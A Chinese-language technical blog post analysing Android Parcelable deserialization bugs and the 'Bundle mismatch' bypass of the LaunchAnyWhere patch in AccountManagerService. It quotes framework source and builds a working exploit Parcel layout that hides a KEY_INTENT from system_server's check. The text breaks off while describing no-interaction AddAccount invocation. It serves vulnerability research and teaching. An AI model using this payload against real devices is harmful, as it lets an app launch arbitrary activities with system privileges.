再谈Parcelable反序列化漏洞和Bundle mismatch

一、前言

  • 近期在做Parcelable反序列化和Bundle mismatch方面的研究,在这个过程中有很多需要记录的内容,有些也是网络上相关文章没有提到的一些细节,并且由于aliyun上那篇最经典的原始文章链接失效,所以决定写一篇文章记录这种漏洞。由于Google官方在Android 13中的修改,这类漏洞即将退出历史舞台了,所以也用这篇文章作为纪念吧。

二、什么是Parcelable反序列化漏洞

  • Parcel是Android框架层的一个重要概念,由于直接和Binder驱动通信的方式较为复杂,同时也不利于屏蔽底层实现细节,所以Android提供了Parcel这一上层封装。Parcel的主要实现位于libbinder.so中。

  • 在Native中使用Binder接口,一般直接使用libbinder.so中的transactonTransact函数发送和接收Parcel数据,而在Java中则更多使用AIDL进行实现(但这不代表Java中就无法使用transactonTransact函数,这些API也提供的Java的版本),并且允许开发人员直接将Java类作为AIDL接口的参数。

  • 和普通Java中上类似,位于Android框架中的默认实现只允许你传递一些基本类型和部分Java对象,例如String、Array对象或者是List、Map这类容器对象,如果要传递自定义的Java类型,则这个Java类型就必须实现Parcelable接口,这是一个和Java中提供的Serializable很类似的接口,Parcelable接口中要求实现createFromParcelwriteToParcel方法,在这些方法中开发人员需要自行处理一个Parcel对象,并完成将对象写入Parcel,和从中读取并创建对象的任务,是的,也就是序列化与反序列化。

  • 在开发人员操作Parcel对象并尝试从其中读取或向其中写入数据时,可能会出现一种错误:开发人员由于种种原因,可能是太粗心、没考虑好边界条件或对某些Java容器类型的理解有误,而导致在处理一个相同的Parcelable对象时,从Parcel中读取数据的字节数,和向其中写入数据的字节数不相等,而造成了错位现象,这便是Parcelable反序列化漏洞,例如如下的代码:

    @Override // android.os.Parcelable.Creator
    public MyClass createFromParcel(Parcel in) {
    return new MyClass(in);
    }
    MyClass(Parcel in) {
    in.readInt(this.a);
    this.b = 0;
    }
    @Override // android.os.Parcelable
    public void writeToParcel(Parcel out, int flags) {
    out.writeInt(this.a);
    out.writeInt(this.b);
    }
  • 很明显,这位开发人员中读取的时候只读取了4个字节,而写入时候却写入了8个字节!这看起来非常愚蠢,似乎不会有开发人员写出这种漏洞,然而在实际的代码中可能存在比这个例子复杂得多的情况,以至于连Google的开发人员都会犯错,甚至有些漏洞我在第一次看到代码时也没有发现其中的问题,而是用了几小时时间才恍然大悟,发现其中存在一个隐蔽的读写不匹配问题。

三、如何利用Parcelable反序列化漏洞

  • 在Android平台上看起来这种反序列化漏洞,只会导致一个简单的Java异常,它不像是Native读写Parcel数据中造成的不匹配,有可能导致内存漏洞而实现代码执行(例如CVE-2021-39798),并且看起来也不能像Java Web领域中的那样构成反序列化的链条从而获得控制权(Java Web中的反序列化链我完全不懂,好奇这种利用方式的读者可以参考其它文章)。但是中Android平台上,由于一个LaunchAnyWhere漏洞补丁绕过,这类漏洞也具备了很大的威力。

  • 这个故事有关于2014年的一个LaunchAnyWhere漏洞,具体可以参考申迪的这篇文章:launchAnyWhere: Activity组件权限绕过漏洞解析(Google Bug 7699048 ),我们只大概描述这个问题,它是中AccountManagerService中的AddAccount流程中,由system_server接收到Bundle参数后没有进行检查,直接让Settings取出里面的KEY_INTENT(intent)字段并启动界面,这是一个典型的LaunchAnyWhere漏洞,那么Google当时的修复也很简单,选择了中system_server中收到Bundle之后尝试取出其中的Intent,如果存在这个字段则检查Intent所解析出的最终调用组件是否属于原始调用者,这样就避免了调用者以Settings的身份启动任意Activity的问题,system_server检查Intent的代码如下:

    // frameworks/base/services/core/java/com/android/server/accounts/AccountManagerService.java
    private abstract class StartAccountSession extends Session {
    //...
    
    @Override
    public void onResult(Bundle result) {
        //...
        Intent intent = null;
        // [1] 尝试从Bundle对象中取出KEY_INTENT
        if (result != null
                && (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
            // [2] 对KEY_INTENT进行校验
            if (!checkKeyIntent(
                    Binder.getCallingUid(),
                    intent)) {
                onError(AccountManager.ERROR_CODE_INVALID_RESPONSE,
                        "invalid intent in bundle returned");
                return;
            }
        }
        //...
    
        sendResponse(response, result);
    }
    }
    //...
    /**
    * Checks Intents, supplied via KEY_INTENT, to make sure that they don't violate our
    * security policy.
    *
    * In particular we want to make sure that the Authenticator doesn't try to trick users
    * into launching arbitrary intents on the device via by tricking to click authenticator
    * supplied entries in the system Settings app.
    */
    protected boolean checkKeyIntent(int authUid, Intent intent) {
    // Explicitly set an empty ClipData to ensure that we don't offer to
    // promote any Uris contained inside for granting purposes
    // [3] 删除Intent中的ClipData
    if (intent.getClipData() == null) {
        intent.setClipData(ClipData.newPlainText(null, null));
    }
    // [4] 删除Intent中的授权flag
    intent.setFlags(intent.getFlags() & ~(Intent.FLAG_GRANT_READ_URI_PERMISSION
            | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
            | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
            | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION));
    final long bid = Binder.clearCallingIdentity();
    try {
        PackageManager pm = mContext.getPackageManager();
        // [5] 解析出Intent最终调用的Activity
        ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);
        if (resolveInfo == null) {
            return false;
        }
        ActivityInfo targetActivityInfo = resolveInfo.activityInfo;
        int targetUid = targetActivityInfo.applicationInfo.uid;
        PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class);
        // [6] 判断是否是导出的System Activity或Activity所属应用是否和调用者同签名,满足其中之一则允许调用
        if (!isExportedSystemActivity(targetActivityInfo)
                && !pmi.hasSignatureCapability(
                        targetUid, authUid,
                        PackageParser.SigningDetails.CertCapabilities.AUTH)) {
            String pkgName = targetActivityInfo.packageName;
            String activityName = targetActivityInfo.name;
            String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that "
                    + "does not share a signature with the supplying authenticator (%s).";
            Log.e(TAG, String.format(tmpl, activityName, pkgName, mAccountType));
            return false;
        }
        return true;
    } finally {
        Binder.restoreCallingIdentity(bid);
    }
    }
  • Settings在收到Intent之后调用startActivityForResultAsUser进行发送

    private final AccountManagerCallback<Bundle> mCallback = new AccountManagerCallback<Bundle>() {
    @Override
    public void run(AccountManagerFuture<Bundle> future) {
       boolean done = true;
       try {
           Bundle bundle = future.getResult();
           //bundle.keySet();
           // [1] 获得KEY_INTENT
           Intent intent = (Intent) bundle.get(AccountManager.KEY_INTENT);
           if (intent != null) {
               done = false;
               Bundle addAccountOptions = new Bundle();
               addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
                addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS,
                        Utils.hasMultipleUsers(AddAccountSettings.this));
                addAccountOptions.putParcelable(EXTRA_USER, mUserHandle);
                intent.putExtras(addAccountOptions)
                        .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                        .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
                // [2] 启动KEY_INTENT代表的Activity
                startActivityForResultAsUser(intent, ADD_ACCOUNT_REQUEST, mUserHandle);
            } else {
                setResult(RESULT_OK);
                if (mPendingIntent != null) {
                    mPendingIntent.cancel();
                    mPendingIntent = null;
                }
            }
    
            if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "account added: " + bundle);
        } catch (OperationCanceledException e) {
            if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount was canceled");
        } catch (IOException e) {
            if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
        } catch (AuthenticatorException e) {
            if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
        } finally {
            if (done) {
                finish();
            }
        }
    }
    };
  • 这个补丁在当时是没什么问题,但是等到2017年,有海外的研究人员在一份恶意样本中发现,可以利用Parcelable反序列化绕过这个补丁,由于Google的补丁是在system_server中检查Intent,并且又通过AIDL传给Settings之后启动界面,这其中跨越了进程边界,也就涉及到一次序列化和反序列化的过程,那么我们如果通过Parcelable反序列化漏洞的字节错位,通过精确的布局,使得system_server在检查Intent时找不到这个Intent,而在错位后Settings却刚好可以找到,这样就可以实现补丁的绕过并再次实现LaunchAnyWhere,研究人员将发现的这种漏洞利用方式命名为Bundle mismatch

四、从框架代码分析Bundle数据结构

  • Parcel的反序列化核心函数位于android.os.BaseBundle类型的readFromParcelInner

    // frameworks/base/core/java/android/os/BaseBundle.java
    /**
    * Reads the Parcel contents into this Bundle, typically in order for
    * it to be passed through an IBinder connection.
    * @param parcel The parcel to overwrite this bundle from.
    */
    void readFromParcelInner(Parcel parcel) {
    // Keep implementation in sync with readFromParcel() in
    // frameworks/native/libs/binder/PersistableBundle.cpp.
    // [1] 读取Bundle数据总长度
    int length = parcel.readInt();
    readFromParcelInner(parcel, length);
    }
    private void readFromParcelInner(Parcel parcel, int length) {
    if (length < 0) {
        throw new RuntimeException("Bad length in parcel: " + length);
    } else if (length == 0) {
        // Empty Bundle or end of data.
        mParcelledData = NoImagePreloadHolder.EMPTY_PARCEL;
        mParcelledByNative = false;
        return;
    } else if (length % 4 != 0) {
        throw new IllegalStateException("Bundle length is not aligned by 4: " + length);
    }
    // [2] 读取magic number,可以是Java Bundle或者Native Bundle,具体区别后面会提到
    final int magic = parcel.readInt();
    final boolean isJavaBundle = magic == BUNDLE_MAGIC;
    final boolean isNativeBundle = magic == BUNDLE_MAGIC_NATIVE;
    if (!isJavaBundle && !isNativeBundle) {
        throw new IllegalStateException("Bad magic number for Bundle: 0x"
                + Integer.toHexString(magic));
    }
    // [3] 如果Parcel存在读写Helper(没有研究是什么东西),就不进行lazily-unparcel,而是直接开始unparcel操作
    if (parcel.hasReadWriteHelper()) {
        // If the parcel has a read-write helper, then we can't lazily-unparcel it, so just
        // unparcel right away.
        synchronized (this) {
            initializeFromParcelLocked(parcel, /*recycleParcel=*/ false, isNativeBundle);
        }
        return;
    }
    // [4] 正常情况下,会使用lazily-unparcel模式,也就是不立即进行数据的反序列化,而是等真正需要使用的时候再进行
    // Advance within this Parcel
    int offset = parcel.dataPosition();
    parcel.setDataPosition(MathUtils.addOrThrow(offset, length));
    
    Parcel p = Parcel.obtain();
    p.setDataPosition(0);
    p.appendFrom(parcel, offset, length);
    p.adoptClassCookies(parcel);
    if (DEBUG) Log.d(TAG, "Retrieving "  + Integer.toHexString(System.identityHashCode(this))
            + ": " + length + " bundle bytes starting at " + offset);
    p.setDataPosition(0);
    
    mParcelledData = p;
    mParcelledByNative = isNativeBundle;
    }
  • 这里面由于正常都是使用lazily-unparcel模式,所以在对Bundle内容进行操作的时候才会实际调用initializeFromParcelLocked来执行反序列化,这种方法有助于在多个进程之间连续传递同一个Bundle而不需要访问其中的内容时提高性能。

// frameworks/base/core/java/android/os/BaseBundle.java
private void initializeFromParcelLocked(@NonNull Parcel parcelledData, boolean recycleParcel,
        boolean parcelledByNative) {
    if (LOG_DEFUSABLE && sShouldDefuse && (mFlags & FLAG_DEFUSABLE) == 0) {
        Slog.wtf(TAG, "Attempting to unparcel a Bundle while in transit; this may "
                + "clobber all data inside!", new Throwable());
    }

    if (isEmptyParcel(parcelledData)) {
        if (DEBUG) {
            Log.d(TAG, "unparcel "
                    + Integer.toHexString(System.identityHashCode(this)) + ": empty");
        }
        if (mMap == null) {
            mMap = new ArrayMap<>(1);
        } else {
            mMap.erase();
        }
        mParcelledData = null;
        mParcelledByNative = false;
        return;
    }
    // [1] 读取元素个数
    final int count = parcelledData.readInt();
    if (DEBUG) {
        Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this))
                + ": reading " + count + " maps");
    }
    if (count < 0) {
        return;
    }
    ArrayMap<String, Object> map = mMap;
    if (map == null) {
        map = new ArrayMap<>(count);
    } else {
        map.erase();
        map.ensureCapacity(count);
    }
    try {
        if (parcelledByNative) {
            // If it was parcelled by native code, then the array map keys aren't sorted
            // by their hash codes, so use the safe (slow) one.
            // [2] 对于Native Bundle,其Key没有按照hashcode进行排序,需要排序后再存入ArrayMap
            parcelledData.readArrayMapSafelyInternal(map, count, mClassLoader);
        } else {
            // If parcelled by Java, we know the contents are sorted properly,
            // so we can use ArrayMap.append().
            // [3] 而对于Java Bundle则可以直接向ArrayMap中存入数据,我们主要关注这种情况
            parcelledData.readArrayMapInternal(map, count, mClassLoader);
        }
    } catch (BadParcelableException e) {
        if (sShouldDefuse) {
            Log.w(TAG, "Failed to parse Bundle, but defusing quietly", e);
            map.erase();
        } else {
            throw e;
        }
    } finally {
        mMap = map;
        if (recycleParcel) {
            recycleParcel(parcelledData);
        }
        mParcelledData = null;
        mParcelledByNative = false;
    }
    if (DEBUG) {
        Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this))
                + " final map: " + mMap);
    }
}
  • 这里面有一个值得注意的问题是Bundle中Key排序的问题,我们在初始构造原始Parcel数据的时候,要考虑到Key的hashcode排序问题,否则在反序列化之后Bundle的key会被重新排序,影响我们后续的利用。

    // frameworks/base/core/java/android/os/Parcel.java
    /* package */ void readArrayMapInternal(@NonNull ArrayMap outVal, int N,
        @Nullable ClassLoader loader) {
    if (DEBUG_ARRAY_MAP) {
        RuntimeException here =  new RuntimeException("here");
        here.fillInStackTrace();
        Log.d(TAG, "Reading " + N + " ArrayMap entries", here);
    }
    int startPos;
    // [1] 循环读取key-value
    while (N > 0) {
        if (DEBUG_ARRAY_MAP) startPos = dataPosition();
        // [2] 读取key,显然key是一个字符串类型
        String key = readString();
        // [3] 读取value
        Object value = readValue(loader);
        if (DEBUG_ARRAY_MAP) Log.d(TAG, "  Read #" + (N-1) + " "
                + (dataPosition()-startPos) + " bytes: key=0x"
                + Integer.toHexString((key != null ? key.hashCode() : 0)) + " " + key);
        // [4] 追加到ArrayMap中
        outVal.append(key, value);
        N--;
    }
    // [5] 检查key hashcode以及是否有重复的key
    outVal.validate();
    }
  • readValue的实现则会根据不同类型的value而有所不同

    // frameworks/base/core/java/android/os/Parcel.java
    /**
    * Read a typed object from a parcel.  The given class loader will be
    * used to load any enclosed Parcelables.  If it is null, the default class
    * loader will be used.
    */
    @Nullable
    public final Object readValue(@Nullable ClassLoader loader) {
    int type = readInt();
    
    switch (type) {
    case VAL_NULL:
        return null;
    
    case VAL_STRING:
        return readString();
    
    case VAL_INTEGER:
        return readInt();
    
    case VAL_MAP:
        return readHashMap(loader);
    
    case VAL_PARCELABLE:
        return readParcelable(loader);
    
    case VAL_SHORT:
        return (short) readInt();
    
    case VAL_LONG:
        return readLong();
    
    case VAL_FLOAT:
        return readFloat();
    
    case VAL_DOUBLE:
        return readDouble();
    
    case VAL_BOOLEAN:
        return readInt() == 1;
    
    case VAL_CHARSEQUENCE:
        return readCharSequence();
    
    case VAL_LIST:
        return readArrayList(loader);
    
    case VAL_BOOLEANARRAY:
        return createBooleanArray();
    
    case VAL_BYTEARRAY:
        return createByteArray();
    
    case VAL_STRINGARRAY:
        return readStringArray();
    
    case VAL_CHARSEQUENCEARRAY:
        return readCharSequenceArray();
    
    case VAL_IBINDER:
        return readStrongBinder();
    
    case VAL_OBJECTARRAY:
        return readArray(loader);
    
    case VAL_INTARRAY:
        return createIntArray();
    
    case VAL_LONGARRAY:
        return createLongArray();
    
    case VAL_BYTE:
        return readByte();
    
    case VAL_SERIALIZABLE:
        return readSerializable(loader);
    
    case VAL_PARCELABLEARRAY:
        return readParcelableArray(loader);
    
    case VAL_SPARSEARRAY:
        return readSparseArray(loader);
    
    case VAL_SPARSEBOOLEANARRAY:
        return readSparseBooleanArray();
    
    case VAL_BUNDLE:
        return readBundle(loader); // loading will be deferred
    
    case VAL_PERSISTABLEBUNDLE:
        return readPersistableBundle(loader);
    
    case VAL_SIZE:
        return readSize();
    
    case VAL_SIZEF:
        return readSizeF();
    
    case VAL_DOUBLEARRAY:
        return createDoubleArray();
    
    default:
        int off = dataPosition() - 4;
        throw new RuntimeException(
            "Parcel " + this + ": Unmarshalling unknown type code " + type + " at offset " + off);
    }
    }
  • 这里面根据不同类型有不同的读取方法,如果要做利用的话需要巧妙利用其中的逻辑进行布局,我常用的是createByteArray的逻辑,当然readString也是必不可少的。这里面需要注意的是,readString读取数据时会有padding的数据在其中,在利用过程中需要特别考虑这个情况,最简单的方法是进行实际的测试。

    // frameworks/native/libs/binder/Parcel.cpp
    const char16_t* Parcel::readString16Inplace(size_t* outLen) const
    {
    int32_t size = readInt32();
    // watch for potential int overflow from size+1
    if (size >= 0 && size < INT32_MAX) {
        *outLen = size;
        const char16_t* str = (const char16_t*)readInplace((size+1)*sizeof(char16_t));
        if (str != nullptr) {
            if (str[size] == u'\0') {
                return str;
            }
            android_errorWriteLog(0x534e4554, "172655291");
        }
    }
    *outLen = 0;
    return nullptr;
    }
    const void* Parcel::readInplace(size_t len) const
    {
    if (len > INT32_MAX) {
        // don't accept size_t values which may have come from an
        // inadvertent conversion from a negative int.
        return nullptr;
    }
    
    if ((mDataPos+pad_size(len)) >= mDataPos && (mDataPos+pad_size(len)) <= mDataSize
            && len <= pad_size(len)) {
        if (mObjectsSize > 0) {
            status_t err = validateReadData(mDataPos + pad_size(len));
            if(err != NO_ERROR) {
                // Still increment the data position by the expected length
                mDataPos += pad_size(len);
                ALOGV("readInplace Setting data pos of %p to %zu", this, mDataPos);
                return nullptr;
            }
        }
    
        const void* data = mData+mDataPos;
        mDataPos += pad_size(len);
        ALOGV("readInplace Setting data pos of %p to %zu", this, mDataPos);
        return data;
    }
    return nullptr;
    }
  • 同时Bundle的writeToParcel也具有类似的逻辑

    // frameworks/base/core/java/android/os/BaseBundle.java
    /**
    * Writes the Bundle contents to a Parcel, typically in order for
    * it to be passed through an IBinder connection.
    * @param parcel The parcel to copy this bundle to.
    */
    void writeToParcelInner(Parcel parcel, int flags) {
    // If the parcel has a read-write helper, we can't just copy the blob, so unparcel it first.
    if (parcel.hasReadWriteHelper()) {
        unparcel();
    }
    // Keep implementation in sync with writeToParcel() in
    // frameworks/native/libs/binder/PersistableBundle.cpp.
    final ArrayMap<String, Object> map;
    // [1] 如果以lazily-unparcel模式读取数据后并没有进行解析,则直接把mParcelledData写入Parcel中即可,无需进行序列化
    synchronized (this) {
        // unparcel() can race with this method and cause the parcel to recycle
        // at the wrong time. So synchronize access the mParcelledData's content.
        if (mParcelledData != null) {
            if (mParcelledData == NoImagePreloadHolder.EMPTY_PARCEL) {
                parcel.writeInt(0);
            } else {
                int length = mParcelledData.dataSize();
                parcel.writeInt(length);
                parcel.writeInt(mParcelledByNative ? BUNDLE_MAGIC_NATIVE : BUNDLE_MAGIC);
                parcel.appendFrom(mParcelledData, 0, length);
            }
            return;
        }
        map = mMap;
    }
    // Special case for empty bundles.
    if (map == null || map.size() <= 0) {
        parcel.writeInt(0);
        return;
    }
    int lengthPos = parcel.dataPosition();
    parcel.writeInt(-1); // placeholder, will hold length
    parcel.writeInt(BUNDLE_MAGIC);
    
    int startPos = parcel.dataPosition();
    // [2] 如果是已反序列化过后的Bundle,则mParcelledData中不会有数据,正常执行序列化流程
    parcel.writeArrayMapInternal(map);
    int endPos = parcel.dataPosition();
    
    // Backpatch length
    parcel.setDataPosition(lengthPos);
    int length = endPos - startPos;
    // [3] 最后写入数据总长度即可
    parcel.writeInt(length);
    parcel.setDataPosition(endPos);
    }
  • 序列化中使用的writeArrayMapInternal也具有相似的流程

    // frameworks/base/core/java/android/os/Parcel.java
    /**
    * Flatten an ArrayMap into the parcel at the current dataPosition(),
    * growing dataCapacity() if needed.  The Map keys must be String objects.
    */
    /* package */ void writeArrayMapInternal(@Nullable ArrayMap<String, Object> val) {
    if (val == null) {
        writeInt(-1);
        return;
    }
    // Keep the format of this Parcel in sync with writeToParcelInner() in
    // frameworks/native/libs/binder/PersistableBundle.cpp.
    // [1] 写入元素个数
    final int N = val.size();
    writeInt(N);
    if (DEBUG_ARRAY_MAP) {
        RuntimeException here =  new RuntimeException("here");
        here.fillInStackTrace();
        Log.d(TAG, "Writing " + N + " ArrayMap entries", here);
    }
    int startPos;
    // [2] 循环写入key-value
    for (int i=0; i<N; i++) {
        if (DEBUG_ARRAY_MAP) startPos = dataPosition();
        // [3] 写入key
        writeString(val.keyAt(i));
        // [4] 写入value
        writeValue(val.valueAt(i));
        if (DEBUG_ARRAY_MAP) Log.d(TAG, "  Write #" + i + " "
                + (dataPosition()-startPos) + " bytes: key=0x"
                + Integer.toHexString(val.keyAt(i) != null ? val.keyAt(i).hashCode() : 0)
                + " " + val.keyAt(i));
    }
    }
  • writeValue是和readValue相对应的逻辑

    // frameworks/base/core/java/android/os/Parcel.java
    /**
    * Flatten a generic object in to a parcel.  The given Object value may
    * currently be one of the following types:
    *
    * <ul>
    * <li> null
    * <li> String
    * <li> Byte
    * <li> Short
    * <li> Integer
    * <li> Long
    * <li> Float
    * <li> Double
    * <li> Boolean
    * <li> String[]
    * <li> boolean[]
    * <li> byte[]
    * <li> int[]
    * <li> long[]
    * <li> Object[] (supporting objects of the same type defined here).
    * <li> {@link Bundle}
    * <li> Map (as supported by {@link #writeMap}).
    * <li> Any object that implements the {@link Parcelable} protocol.
    * <li> Parcelable[]
    * <li> CharSequence (as supported by {@link TextUtils#writeToParcel}).
    * <li> List (as supported by {@link #writeList}).
    * <li> {@link SparseArray} (as supported by {@link #writeSparseArray(SparseArray)}).
    * <li> {@link IBinder}
    * <li> Any object that implements Serializable (but see
    *      {@link #writeSerializable} for caveats).  Note that all of the
    *      previous types have relatively efficient implementations for
    *      writing to a Parcel; having to rely on the generic serialization
    *      approach is much less efficient and should be avoided whenever
    *      possible.
    * </ul>
    *
    * <p class="caution">{@link Parcelable} objects are written with
    * {@link Parcelable#writeToParcel} using contextual flags of 0.  When
    * serializing objects containing {@link ParcelFileDescriptor}s,
    * this may result in file descriptor leaks when they are returned from
    * Binder calls (where {@link Parcelable#PARCELABLE_WRITE_RETURN_VALUE}
    * should be used).</p>
    */
    public final void writeValue(@Nullable Object v) {
    if (v == null) {
        writeInt(VAL_NULL);
    } else if (v instanceof String) {
        writeInt(VAL_STRING);
        writeString((String) v);
    } else if (v instanceof Integer) {
        writeInt(VAL_INTEGER);
        writeInt((Integer) v);
    } else if (v instanceof Map) {
        writeInt(VAL_MAP);
        writeMap((Map) v);
    } else if (v instanceof Bundle) {
        // Must be before Parcelable
        writeInt(VAL_BUNDLE);
        writeBundle((Bundle) v);
    } else if (v instanceof PersistableBundle) {
        writeInt(VAL_PERSISTABLEBUNDLE);
        writePersistableBundle((PersistableBundle) v);
    } else if (v instanceof Parcelable) {
        // IMPOTANT: cases for classes that implement Parcelable must
        // come before the Parcelable case, so that their specific VAL_*
        // types will be written.
        writeInt(VAL_PARCELABLE);
        writeParcelable((Parcelable) v, 0);
    } else if (v instanceof Short) {
        writeInt(VAL_SHORT);
        writeInt(((Short) v).intValue());
    } else if (v instanceof Long) {
        writeInt(VAL_LONG);
        writeLong((Long) v);
    } else if (v instanceof Float) {
        writeInt(VAL_FLOAT);
        writeFloat((Float) v);
    } else if (v instanceof Double) {
        writeInt(VAL_DOUBLE);
        writeDouble((Double) v);
    } else if (v instanceof Boolean) {
        writeInt(VAL_BOOLEAN);
        writeInt((Boolean) v ? 1 : 0);
    } else if (v instanceof CharSequence) {
        // Must be after String
        writeInt(VAL_CHARSEQUENCE);
        writeCharSequence((CharSequence) v);
    } else if (v instanceof List) {
        writeInt(VAL_LIST);
        writeList((List) v);
    } else if (v instanceof SparseArray) {
        writeInt(VAL_SPARSEARRAY);
        writeSparseArray((SparseArray) v);
    } else if (v instanceof boolean[]) {
        writeInt(VAL_BOOLEANARRAY);
        writeBooleanArray((boolean[]) v);
    } else if (v instanceof byte[]) {
        writeInt(VAL_BYTEARRAY);
        writeByteArray((byte[]) v);
    } else if (v instanceof String[]) {
        writeInt(VAL_STRINGARRAY);
        writeInt(VAL_CHARSEQUENCEARRAY);
        writeCharSequenceArray((CharSequence[]) v);
    } else if (v instanceof IBinder) {
        writeInt(VAL_IBINDER);
        writeStrongBinder((IBinder) v);
    } else if (v instanceof Parcelable[]) {
        writeInt(VAL_PARCELABLEARRAY);
        writeParcelableArray((Parcelable[]) v, 0);
    } else if (v instanceof int[]) {
        writeInt(VAL_INTARRAY);
        writeIntArray((int[]) v);
    } else if (v instanceof long[]) {
        writeInt(VAL_LONGARRAY);
        writeLongArray((long[]) v);
    } else if (v instanceof Byte) {
        writeInt(VAL_BYTE);
        writeInt((Byte) v);
    } else if (v instanceof Size) {
        writeInt(VAL_SIZE);
        writeSize((Size) v);
    } else if (v instanceof SizeF) {
        writeInt(VAL_SIZEF);
        writeSizeF((SizeF) v);
    } else if (v instanceof double[]) {
        writeInt(VAL_DOUBLEARRAY);
        writeDoubleArray((double[]) v);
    } else {
        Class<?> clazz = v.getClass();
        if (clazz.isArray() && clazz.getComponentType() == Object.class) {
            // Only pure Object[] are written here, Other arrays of non-primitive types are
            // handled by serialization as this does not record the component type.
            writeInt(VAL_OBJECTARRAY);
            writeArray((Object[]) v);
        } else if (v instanceof Serializable) {
            // Must be last
            writeInt(VAL_SERIALIZABLE);
            writeSerializable((Serializable) v);
        } else {
            throw new RuntimeException("Parcel: unable to marshal value " + v);
        }
    }
    }

五、Bundle mismatch利用思路

  • 了解了Android框架对Bundle类型的处理,现在我们需要关注如何开发一个Bundle mismatch利用,我们依旧以上面的漏洞为例,再回顾一下我们的示例代码:

    @Override // android.os.Parcelable.Creator
    public MyClass createFromParcel(Parcel in) {
    return new MyClass(in);
    }
    MyClass(Parcel in) {
    in.readInt(this.a);
    this.b = 0;
    }
    @Override // android.os.Parcelable
    public void writeToParcel(Parcel out, int flags) {
    out.writeInt(this.a);
    out.writeInt(this.b);
    }
  • 在本例中读取是4个字节,而写入是8个字节,那么我们考虑后面4个字节是整个利用的核心,按照上文中描述的Bundle格式解析逻辑,当序列化时多写入一个0之后,下一次读完了4字节之后,这个0会何去何从呢?答案是他必定会作为下一个Bundle key的key string存在,而我们知道readString的开头是先读取一个int作为字符串的长度。所以问题就有了答案,我们后面这个0就会被认为是一个字符串的长度,并且是一个0长度的字符串,注意不是null字符串,因为null字符串的长度字段为-1。

    // frameworks/native/libs/binder/Parcel.cpp
    const char16_t* Parcel::readString16Inplace(size_t* outLen) const
    {
    // [1] 我们多写入的这个0会作为这里读取int32的值,也就是作为String16的长度
    int32_t size = readInt32();
    // watch for potential int overflow from size+1
    if (size >= 0 && size < INT32_MAX) {
        *outLen = size;
        // [2] 注意,即使是size=0长度的String16,依旧会调用readInplace(1*sizeof(char16_t)),也就是4字节。
        const char16_t* str = (const char16_t*)readInplace((size+1)*sizeof(char16_t));
        if (str != nullptr) {
            if (str[size] == u'\0') {
                return str;
            }
            android_errorWriteLog(0x534e4554, "172655291");
        }
    }
    *outLen = 0;
    return nullptr;
    }
  • 现在我们知道,除了前面this.b多写入的0之外,下一个4字节会作为padding存在,那么后面我们如何继续布局呢?这里面需要再填充一个类型字段,我们这里选择的是VAL_BYTEARRAY,也就是13,后续还需要布局字节数组的长度和内容,这个就要结合错位前的逻辑进行布局了,经过精心调试之后,我给出的答案如下(不包含错位写入的0):

    exp.writeInt(3); // bundle key count
    // 第一个元素的key我们使用\x00,其hashcode为0,我们只要布局后续key的hashcode都大于0即可
    byte[] key1Name = {0x00};
    exp.writeString(new String(key1Name));
    exp.writeInt(4); // VAL_PARCELABLE
    exp.writeString("com.example.MyClass"); // class name
    // 这里按照错位前的逻辑开发,错位后在这个4字节之后会多出一个4字节的0
    exp.writeInt(0);
    // 在错位之前,由于没有错位写入的0存在,所以直接整体作为长度为3的key string
    // 在错位之后,多出的0作为了新的key的字符串长度,并且writeString带着的那个len=3会正常填充上padding那个位置,使得后续读取的类型为VAL_BYTEARRAY(13),而8则是字节数组的长度了,前面的0用于补上4字节的高位
    byte[] key2key = {13, 0, 8};
    exp.writeString(new String(key2key));
    // 在错位之前,这里的13则也是巧妙地被解析成了VAL_BYTEARRAY(13)
    // 在错位之后,这里的13和下面的值是作为8字节的字节数组的一部分
    exp.writeInt(13);
    int intentSizeOffset = exp.dataPosition();
    // 在错位之前这里应为字节数组的长度,我们填写为intent元素所占用的长度,即可将intent元素巧妙地隐藏到字节数组中
    // 在错位之后上面的13和这里的值就会作为8字节的字节数组,后续就会正常解析出intent元素了,就成功绕过补丁
    exp.writeInt(-1);
    int intentStartOffset = exp.dataPosition();
    exp.writeString("intent");
    exp.writeInt(4);
    exp.writeParcelable(intent, 0);
    int intentEndOffset = exp.dataPosition();
    // 最后一个元素在错位之前会被当成最后一个元素,错位之后就会被忽略,因为前面已经读取的元素数已经足够
    exp.writeString("toor");
    exp.writeInt(-1);
    exp.setDataPosition(intentSizeOffset);
    exp.writeInt(intentEndOffset - intentStartOffset);

六、如何无交互调用AddAccount接口

  • 正常情况下我们拉起设置的AddAccount页面使用的是Android SDK中提供的Intent,其调用的Activity是com.android.settings.accounts.AddAccountSettings,而这个Activity会拉起android.accounts.ChooseAccountActivity这一Activity,要求用户选择一个Account进行添加,显然这增加了攻击成本。更好的选择是Android SDK中的另一个Activity名为android.accounts.ChooseTypeAndAccountActivity,其中允许指定allowableAccounts参数,以限制展示的Account数量,并且在仅有一个选择时,可以无需交互直接进行AddAccount操作:

    // frameworks/base/core/java/android/accounts/ChooseTypeAndAccountActivity.java
    // In cases where the activity does not need to show an account picker, cut the chase
    // and return the result directly. Eg:
    // Single account -> select it directly
    // No account -> launch add account activity directly
    if (mPendingRequest == REQUEST_NULL) {
    // If there are no relevant accounts and only one relevant account type go directly to
    // add account. Otherwise let the user choose.
    if (mPossiblyVisibleAccounts.isEmpty()) {
        setNonLabelThemeAndCallSuperCreate(savedInstanceState);
        if (mSetOfRelevantAccountTypes.size() == 1) {
            runAddAccountForAuthenticator(mSetOfRelevantAccountTypes.iterator().next());
        } else {
            startChooseAccountTypeActivity();
